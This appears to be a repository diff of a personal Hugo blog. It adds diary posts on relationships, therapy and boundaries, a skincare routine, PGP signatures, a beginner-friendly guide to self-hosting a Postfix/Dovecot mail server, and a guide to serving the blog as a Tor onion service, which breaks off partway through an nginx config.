I also want to talk about some random thing that happened yesterday. It was me and a colleague in office. I suspected he's been wanting to talk to me about... well... something, but he was too cautious, as if I would screw him over? I have to clue to be honest. He insisted he had no idea I knew why he was saying that he was saying, but in the end I could see we both knew what we were talking about.
He kinda talked about my view on relationships and dating, the meaning behind it, and my future plans. He then told me to "give time to time". So... yea. Idk. She will probably talk to me about this as time goes on. I don't want to feel anxious though, it should not matter what the outcome is. I should not count on anything, or start counting my chickens before they hatch.
Another funny thing that happened was that a friend of mine wanted to introduce a potential match, but then he kinda scewed away from it. I have no idea why, but since I tend to assume the worst in things, I should not thinnk about it.
As time goes by, and as I become more experienced, I feel more relieved.
---
{{< sigdl >}}

View file

@ -0,0 +1,209 @@
---
title: "Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)"
date: 2026-07-24
tags: ["mail", "postfix", "dovecot", "opendkim", "postfixadmin", "roundcube", "nginx", "self-hosting", "homelab", "dns", "dkim", "spf", "dmarc"]
categories: ["guides"]
draft: false
description: "A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again)."
---
> If you came here scared of mail servers: good. That means youre paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do **not** assume you already know what an MX record is, why port 587 exists, or why Cloudflares orange cloud and SMTP should never meet at a party.
I wanted real email on my own machine — `mail.alipourimjourneys.ir` — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)
By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when Im too lazy for a desktop client. And I finally understand *why* those pieces exist, which is the part the shiny installers quietly skip.
---
## Why I bothered
Funbox already hosted a small zoo of services with nice names and Lets Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.
I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldnt be guessing which logo to Google. Doing it by hand is slower. Its also how you stop treating mail as magic.
---
## How email actually moves
Imagine a post office that both receives letters from other post offices *and* lets you drop off letters to send — but only if you show ID at the counter.
**Postfix** is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domains mail instructions in DNS, finds your server, and knocks on port **25**. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).
When *you* want to send mail from Thunderbird or Roundcube, you dont casually open port 25 from a laptop anymore. You use **submission**, usually port **587**, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.
**Dovecot** is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port **993** so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.
**OpenDKIM** sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesnt encrypt the love letter for privacy; it helps prove the letter wasnt casually forged by a random stranger using your From address.
Then theres the paperwork in DNS — SPF, the DKIM public key, DMARC — which isnt software running on your machine. Its instructions you publish so other peoples servers know how to judge mail that claims to be from you.
Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.
---
## The shape of my setup
On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under `/srv/services/mail/` runs Postgres only for that mail world, listening on `127.0.0.1:5433`. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.
Nginx terminates HTTPS for a little portal at `mail.alipourimjourneys.ir`, the admin UI at `mailadmin.alipourimjourneys.ir`, and Roundcube at `webmail.alipourimjourneys.ir`. Clients still talk to `mail.alipourimjourneys.ir` for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.
---
## Port 25 is for servers; port 587 is for people
This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.
Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed *to your domain*, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.
Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.
I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesnt instantly mean youre an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldnt even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.
---
## What an “open relay” is, and why localhost lies to you
An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domains reputation.
Heres the trick that wastes afternoons: testing from `127.0.0.1`.
Postfix treats localhost as friendly. Cron jobs, monitoring, local `sendmail` calls — they need to inject mail without performing a full human login. That friendliness is encoded in `mynetworks`. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.
So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from `evil@example.com` to `someone@example.com`, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of `454 Relay access denied`. A cheerful `250` on that recipient line is how you wake up as someone elses cannon.
Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”
---
## DNS, but make it human
### The forward map (name → number)
You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an **MX** record, which is simply a polite note: “if youre delivering mail for this domain, knock on *that* hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.
I put `mail.alipourimjourneys.ir` on funbox for both v4 and v6, pointed MX at that name, and added `webmail` and `mailadmin` the same way.
### Why Cloudflares orange cloud is not invited
Cloudflares proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend its a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.
Mail hostnames stay **DNS-only** — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.
---
## PTR records: the phonebook in reverse
This is the part that confused me the longest the first time I met it years ago, so Im going to walk slowly.
Normal DNS is a phonebook from names to numbers: you look up `mail.example.com` and learn the IP. **Reverse DNS** is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a **PTR** record.
Those reverse records do *not* live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for `alipourimjourneys.ir` does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.
So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to `mail.alipourimjourneys.ir`, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel WiFi.
You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.
---
## SPF, DKIM, and DMARC: three different questions
People mash these together into “email authentication.” Theyre related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.
**SPF** answers: “which machines are allowed to send mail claiming this domain?” Its a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this servers v4, this servers v6, and then `-all`, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If youre mid-migration and scared, a softer `~all` exists for a reason. I wasnt mid-migration. I was building one source of truth.
**DKIM** answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they cant produce a valid stamp.
**DMARC** answers: “if SPF/DKIM dont align properly with the visible From domain, what should receivers do?” You can start with `p=none` (watch and learn), move to `quarantine` (bad mail goes to spam), and later `reject` when youre brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean Im not pretending that “nearby” domains are close enough.
Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.
Together they dont make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.
---
## Building the unglamorous core
On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Lets Encrypt certificate for `mail.alipourimjourneys.ir`, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I dont need a cleartext nostalgia port in 2026.
Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under `/var/spool/postfix`, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the `postfix` user connect.
I briefly had two `Socket` lines in `opendkim.conf`. Config files dont merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: `DKIM-Signature field added`. Instant serotonin.
When `opendkim-testkey` says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.
---
## The Matrix certificate heist (that wasnt a heist)
Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting `mail.…` and found **`matrix.alipourimjourneys.ir`** smiling back.
No attacker. No cosmic joke from Lets Encrypt. Just nginx.
When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no `server_name` matches, nginx shrugs and uses the **default** server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrixs identity and fails the “are you who you say you are?” check in the most confusing way possible.
Later I repeated a sibling mistake with `webmail.`: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbots nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting `https://webmail.…` still fell through to the default server and received Matrixs cert again. Same villain, new episode.
The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.
---
## From Linux users to real mailboxes
The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.
So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under `/var/vmail/...` owned by a dedicated `vmail` user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.
Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.
One setting decides whether this feels cursed or calm: `mydestination`.
That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is `mail.alipourimjourneys.ir` and you also leave that name in `mydestination`, Postfix may keep trying to deliver like its 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set `mydestination` to localhost and let the mail domain be virtual. Suddenly the model matched reality.
PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”
One more client quirk: some apps send only `ialipour` as the username. The database stores `ialipour@mail.…`. Dovecots “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didnt save me the way I hoped. Teaching the SQL queries to accept either the full address or `local-part@mail.alipourimjourneys.ir` did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.
---
## Webmail without losing the plot
Roundcube is not a second mail server. Its a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.
I flirted with serving it under a path like `/webmail` on the main mail hostname while also serving it at the root of `webmail.…`. Roundcube has opinions about its base path. If you tell it “you live under `/webmail`” and then put it at `/` on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.
The calm ending: Roundcube lives at `https://webmail.alipourimjourneys.ir/` as the site root. The portal links there. Path experiments go in the diary under “character development.”
---
## The bounce emails that taught me about identity
After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail `root`. My system identity still thought the local domain was `mail.alipourimjourneys.ir`, so `root` became `root@mail.alipourimjourneys.ir`. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.
The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased `root` to my real virtual address so necessary noise still reaches a human. `myhostname` can still announce itself as `mail.…` on the SMTP banner. Different knobs, different jobs.
Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash cant be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving `vmail` ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.
And fail2ban exists because a public mail servers address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in `/var/log/mail.log` so repeated guessing gets a timeout instead of an unlimited hobby.
---
## What “done” means for me
For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at `mail.alipourimjourneys.ir`, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.
Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”
If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. Youre not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.
---
### Links
- Portal: [mail.alipourimjourneys.ir](https://mail.alipourimjourneys.ir)
- Webmail: [webmail.alipourimjourneys.ir](https://webmail.alipourimjourneys.ir)
- Admin: [mailadmin.alipourimjourneys.ir](https://mailadmin.alipourimjourneys.ir)
---
{{< sigdl >}}

View file

@ -0,0 +1,28 @@
+++
title = 'Setting Boundries'
date = 2025-12-04T14:38:36Z
draft = false
+++
I was watching [this video](https://www.youtube.com/watch?v=MQzDMkeSzpw) the other day. It's an interesting video imo. This is something I've been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me?
Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other's respect. Naturally that evolved into me becoming a people please. A so called "nice person". I've even been made fun of with those words.
All of it for earning the validation I never received for being myself as a kid. All of it for receiving conditional love. And now I'm broken. When people act cold with me, I assume they don't like me. Then I want to fix things. Then I become annoying. I look like an "anxiously attached" person.
But then there is a big part of me that wants to keep doing this. The problem is the second part. The part where I expect validation, but conditional validation. It's sad, and it's eating at my everything. I feel exhausted. I feel tired. I feel like every connection of mine is breaking apart. Connections I worked so hard to form. People I tried so hard to please.
So... I made a decision. To stay away from everyone. To make distance.
The doubt came in quickly. I became scared that I might lose my connections, the connections I truly adore, the connections I don't want to lose. But it's part of the healing process. I need to be able to create distance, and set boundries without fear of being abandoned. And if along the way I lose some people, maybe they were never really my friends in the first place?
The part I'm making mistake in is that everyone thinks something bad has happened. And they "probably" expect me to talk to them about it. Now this is the part I had to work on. The "setting boundry" part. I don't know if I can do it respectfully or not. I know I will break if I talk.
I don't really like to stay away from people, to push my friends away. But for now, I have to. I hope I won't regret any of these actions. I hope I can heal. I don't know what will happen next, I just know that I don't want to hangout in large groups for a while. I don't want to be happy. I want to mourn. I need to mourn. I hope I heal. I hope I won't turn into an incel. I know I won't. I know I push through. I know...
---
{{< sigdl >}}

View file

@ -0,0 +1,17 @@
-----BEGIN PGP SIGNATURE-----
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA4YHGltYW4uYWxp
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qeFwP/RiFuFOZKLFhrUZCc9t51Kb6
oa6N/m/jdiRz7fnD9VyU93+iSKXB+pUXqR8cMP62orWs7yp6oJWK6zOAKRydswYY
eFo1g44bTmrhNPZ+rI1A7U/GAZ4qjnDyEy0EbkDPkBdybWBIwubdskDgvYb/fu01
7BQIkHjtrDus1J93hLE6JVLb7HUC8z980rNRQ+IdgyDTt0EhqCIbqgE8+C/+k/Km
7Oi4Fbgtj8QzRX0hEBZv2aQjM+EVkusDty6XjEGvOJ9LDNo5vLYyFu0SGImNDTSl
fPnqThrU7XyIzL8Z4P6R2JKrE189BoPKmrCIDhRsONnuwnB5NjQcoRzh34fNEs5h
6uYXz4K9aZ1xIIbxr53jfgpxbWVhucolnyEHxn4BFfsCwfrWBId+otwsctvkuvVf
vxFilGDMqNXEIg4TC2h827y1yrgBIA8iQQE/Nj6du0z9NZkF/6V1jywzQ/69HP8S
Dkh3R75SoGNzkCEIJltKUZYm1CuZuUdVMX9vAKVJGnAyBdwlbj2MwxGkNkaFNRMu
DW4kFSL1ofgjU5iAIMr6L37YSDrQ9WhMYUMeScKQ/uJPq/W9P3ZQVcxkCiC0NK2a
6MIv9aNBobDksb5LwZRwBWCxyNu0JsnXinUWxpg/trcr/8Ekzf6Rpq89t1lghypX
pkjH8Z2Tnpb2mnWfv/7Q
=lUt/
-----END PGP SIGNATURE-----

View file

@ -0,0 +1,74 @@
+++
title = 'Skin routine'
date = 2025-10-20T18:47:04Z
draft = false
description = "My skin routine!"
+++
I don't know how to answer the "why?" or "whyyyyy?" or even "why the f\*\*\*?" I have a skin routine.
Last year, after I came to Germany, I asked a female friend about how to do skin care.
She touched my face and said, "Knock on wood, you have good skin!".
So... idk why I decided to take extra care of my skin, but I did!
Generally speaking, things like this make me feel good about myself.
Like I'm doing something positive while not being tortured!
It's always fun to rub cream on your face or gently massage it.
Even cleaning the face skin feels refreshing.
Everything also smells nice!
Oh... and yeah, idk why I'm not good at excercising, but I really like to do things like this!
Weird.
I should definitely start going to the gym and working out.
It is needed for me.
So... I decided to watch a few Youtube videos, and a guide about skin care for men.
My routine is super simple!
I have a face cleanser that I use first and wash my face with it.
It always feels refreshing and nice to use it!
I initially bought the CeraVe cleaner, but switched to "Jack Black Pure Clean Daily Facial Cleanser" after that one ended.
The cleanser deeply cleans your skin, and almost all of the bad things that might be on your skin.
You don't need to use the cleanser in the morning, but you should definitely use it at night.
It's ok to wash your face with water in the morning.
The next step for me is applying the toner.
I use "NIVEA Derma Skin Clear Toner".
It smells really nice and is quite refreshing to apply to the skin!
The toner adjusts the PH of your skin, and deep cleans things that the cleanser could not.
I gently rub it and let it dry; no rinsing is required here.
After this, I apply an exfoliant to exfoliate my skin.
I've been using "Paula's Choice Skin Perfecting 2% BHA Liquid Exfoliant" so far, but this time I got "BULLDOG Original Exfoliating Face Scrub for Purer Skin".
Haven't used it yet, but Paula's choice one is definitely good.
The thing with it is that you don't have to massage it; it's not physical; it's an acid.
I prefer the scrubby ones, but I think these are better for your skin.
I'll see how I like the new one, and if I prefer it or not.
No rinsing is required here either.
I then apply my eye cream, which is also from CeraVe.
Haven't really seen much of a difference under my eyes, but it is supposed to help.
I don't know! It feels good to apply the eye cream regardless.
The next step for me is the best one!
Moisturiser.
Yayy!!!
It actually feels weird to use a moisturiser since I've watched Mortuary Assisant's gameplay, and the last step there for embalming the body is applying moisturiser.
Feels weird.
The one I use is water-based, hence perfect for men.
I use "Neutrogena Hydro Boost Aqua Gel Moisturiser".
As a man, if you use oil-based products, you'll get acne.
So don't.
I learned to use pads for applying some of these stuff, it feels cooler when applying the things to your face, and it specifically feels good when you gently tap your face with a cotton pad! ^^
And... last but not least is applying sun screen.
Nothing special here.
I just make sure to use SPF 50+ sunscreen for better protection.
Even if it does nothing, it still makes me feel good about myself.
The whole routine does not take more than 10 min, but gives me an energy boost and a lot of good vibes both at night and in the morning!
---
{{< sigdl >}}

View file

@ -0,0 +1,17 @@
-----BEGIN PGP SIGNATURE-----
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA4YHGltYW4uYWxp
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qEycP/i2+eo0HI83v/HRkUACefGHL
0EkHQTMPSYAeff8l+cUr86zDXvAws6tfT2PNx0+ZGqG0kbjk81pgIXlKnYL7gzci
vTpasvLCoXjfEkFT2cco8wOBZ3RtzmWTzefTbxgVbtbu/j3/bOzoc0QbKDfPdgTM
0wvGq62chbyBMbVwn/sMdYauhYShCKjzyCNA8n4IKYW17fOi/m64f/QsGAJRT590
OJ+eTb9RznJnAuRpwvvz8Lk6rqFN79udzHSmRSeShiSWKBa6yqUoJDBIEQ4iYNTy
eIvDNWsfoOXbYX6TubtA4u77B8pBdFx9eSIaeaANaSqyyM2FUV3p6tyzRAySLR0U
wHrQ4ZID46gHLY1S7+Avj72/J83UF3DajJ7rRWb2hkHpFAKhk9i0h02ykNeS41ZM
tRtSt+OqJwJuqxzo4bPHN054CDsydrHnUtckZx155T+oQW6YvUxWDY5/Yp/njnzz
UQuIpxUGt1Zxv499z4VnAusFKzFxoi7rq7IQRYZboo8ObHhQCI6XtvI3vtqN5NDx
2yjlkuK5RP2pyYAg6ha7Vcp3sxnRVwSSTBtFDjUeXteGpYj9EnNVuwR281z0EjT+
yS+1sdIH3AkXJs550sAkRsaI3xLMQzAL8ApKSkkrEvTAxvgtzwmGojb8dlCztFPj
enzV9K/nDUbn9douKgCY
=gPUD
-----END PGP SIGNATURE-----

View file

@ -0,0 +1,290 @@
---
title: "Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod"
date: 2025-09-19
tags: ["tor", "nginx", "hugo", "papermod", "cloudflare", "letsencrypt"]
categories: ["DevOps", "Notes"]
description: "How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy."
draft: false
ShowToc: true
TocOpen: true
---
> TL;DR — The site is built once (Hugo project), **published twice**:
> - **Onion**: `http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/` via Tor, no TLS/HSTS, bound to `127.0.0.1:3301`.
> - **Clearnet**: `https://blog.alipourimjourneys.ir` behind Cloudflare, Lets Encrypt cert, `Onion-Location` header pointing to the onion mirror.
---
## 1) Tor hidden service (onion) basics
I used Tors v3 onion services and mapped onion port 80 → my local web server on `127.0.0.1:3301`.
**Install & configure Tor (Debian/Ubuntu):**
```bash
sudo apt update && sudo apt install -y tor
sudoedit /etc/tor/torrc
```
Add:
```
HiddenServiceDir /var/lib/tor/hidden_site/
HiddenServicePort 80 127.0.0.1:3301
```
Make sure the directory is owned by Tors user and private:
```bash
sudo mkdir -p /var/lib/tor/hidden_site
sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
sudo chmod 700 /var/lib/tor/hidden_site
```
**Important:** use the right systemd unit:
```bash
# validate as the Tor user
sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
# (re)start the real service
sudo systemctl enable --now tor@default
sudo systemctl restart tor@default
```
Get the onion address:
```bash
sudo cat /var/lib/tor/hidden_site/hostname
```
Quick check (do remote DNS via SOCKS):
```bash
curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
```
---
## 2) Nginx for the onion (localhost-only)
I keep the onion site strictly on localhost: **no HTTPS, no redirects, no HSTS**. Tor already provides e2e encryption and authenticity.
`/etc/nginx/sites-available/onion-blog`:
```nginx
server {
listen 127.0.0.1:3301 default_server;
server_name <your-56-char>.onion 127.0.0.1 localhost;
# keep onion simple; no HSTS/redirects here
add_header Referrer-Policy no-referrer always;
add_header X-Content-Type-Options nosniff always;
add_header X-Frame-Options SAMEORIGIN always;
# (optional) strict CSP so nothing leaks to clearnet
# add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
root /srv/hugo/mysite/public-onion;
index index.html;
location / { try_files $uri $uri/ /index.html; }
location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
access_log off;
add_header Cache-Control "public, max-age=31536000, immutable";
try_files $uri =404;
}
}
```
Enable/reload:
```bash
sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
sudo nginx -t && sudo systemctl reload nginx
```
> Gotcha I hit: I had **two** server blocks on `127.0.0.1:3301`, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it `default_server`). Also, if you ever use a regex in `server_name`, the syntax is `server_name ~* \.onion$` (note the space after `~*`).
---
## 3) Hugo + PaperMod setup (and version bumps)
PaperMod now requires **Hugo Extended ≥ 0.146.0**. I installed the extended binary from the official tarball to avoid Snaps sandbox limitations (Snap cant read `/srv` paths by default).
```bash
# install Hugo extended (example)
VER=0.146.0
cd /tmp
wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
sudo mv hugo /usr/local/bin/hugo
hugo version # should say "extended" and >= 0.146.0
```
Create the site and theme:
```bash
sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
cd /srv/hugo
hugo new site mysite
cd mysite
git init
git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
```
**Config updates:** in newer Hugo, `paginate` is deprecated → use:
```toml
# config/_default/hugo.toml
title = "My Blog"
theme = "PaperMod"
enableRobotsTXT = true
[pagination]
pagerSize = 10
[params]
defaultTheme = "auto"
showReadingTime = true
showPostNavLinks = true
showBreadCrumbs = true
showCodeCopyButtons = true
```
I added per-environment overrides so I can build two outputs with different `baseURL`s:
```toml
# config/clearnet/hugo.toml
baseURL = "https://blog.alipourimjourneys.ir/"
# config/onion/hugo.toml
baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
```
---
## 4) Dual builds (clearnet + onion) and one-command deploy
I publish the same content twice—once for each base URL and docroot:
```bash
cd /srv/hugo/mysite
# clearnet build (served over HTTPS)
hugo --minify --environment clearnet -d public-clearnet
# onion build (served via Tor)
hugo --minify --environment onion -d public-onion
sudo systemctl reload nginx
```
Helper script I use:
```bash
sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
#!/usr/bin/env bash
set -euo pipefail
cd /srv/hugo/mysite
hugo --minify --environment clearnet -d public-clearnet
hugo --minify --environment onion -d public-onion
sudo systemctl reload nginx
echo "Deployed both at $(date)"
EOF
sudo chmod +x /usr/local/bin/build-both
```
While editing, I sometimes auto-rebuild on file save:
```bash
sudo apt install -y entr
cd /srv/hugo/mysite
find content layouts assets static config -type f | entr -r build-both
```
---
## 5) Clearnet behind Cloudflare + Lets Encrypt (manual DNS-01)
Cloudflare is set to **Full (strict)**. I issued a public cert for `blog.alipourimjourneys.ir` using **manual DNS-01** (no API token):
```bash
sudo snap install --classic certbot
sudo certbot certonly --manual --preferred-challenges dns -d blog.alipourimjourneys.ir --agree-tos -m you@example.com --no-eff-email
```
Certbot tells you to add a TXT record `_acme-challenge.blog.alipourimjourneys.ir`. Add it in Cloudflare DNS, verify with `dig`, then continue. Cert ends up at:
```
/etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
```
Clearnet Nginx vhosts:
```nginx
# HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
server {
listen 80; listen [::]:80;
server_name blog.alipourimjourneys.ir;
return 301 https://blog.alipourimjourneys.ir$request_uri;
}
# HTTPS origin (behind Cloudflare)
server {
listen 443 ssl http2; listen [::]:443 ssl http2;
server_name blog.alipourimjourneys.ir;
ssl_certificate /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
